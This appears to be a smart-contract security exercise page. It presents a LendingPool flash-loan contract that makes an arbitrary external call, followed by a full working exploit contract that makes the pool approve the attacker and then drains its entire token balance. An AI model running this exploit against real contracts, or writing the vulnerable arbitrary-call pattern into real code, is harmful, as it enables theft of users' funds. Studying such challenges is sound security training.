ERC20 Flash Loan
LendingPool
is offering ERC20 flash loans for free.
import "./IERC20.sol";
contract LendingPool {
IERC20 public token;
constructor(address _token) {
token = IERC20(_token);
}
function flashLoan(
uint _amount,
address _target,
bytes calldata _data
) external {
uint balBefore = token.balanceOf(address(this));
require(balBefore >= _amount, "borrow amount > balance");
token.transfer(msg.sender, _amount);
(bool executed, ) = _target.call(_data);
require(executed, "loan failed");
uint balAfter = token.balanceOf(address(this));
require(balAfter >= balBefore, "balance after < before");
}
}
Drain all token
from LendingPool
.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface ILendingPool {
function token() external view returns (address);
function flashLoan(
uint amount,
address target,
bytes calldata data
) external;
}
interface ILendingPoolToken {
function balanceOf(address) external view returns (uint);
function approve(address, uint) external returns (bool);
function transferFrom(
address,
address,
uint
) external returns (bool);
}
contract LendingPoolExploit {
ILendingPool public pool;
ILendingPoolToken public token;
constructor(address _pool) {
pool = ILendingPool(_pool);
token = ILendingPoolToken(pool.token());
}
function pwn() external {
uint bal = token.balanceOf(address(pool));
pool.flashLoan(
0,
address(token),
abi.encodeWithSelector(token.approve.selector, address(this), bal)
);
token.transferFrom(address(pool), address(this), bal);
}
}
Last updated
Was this helpful?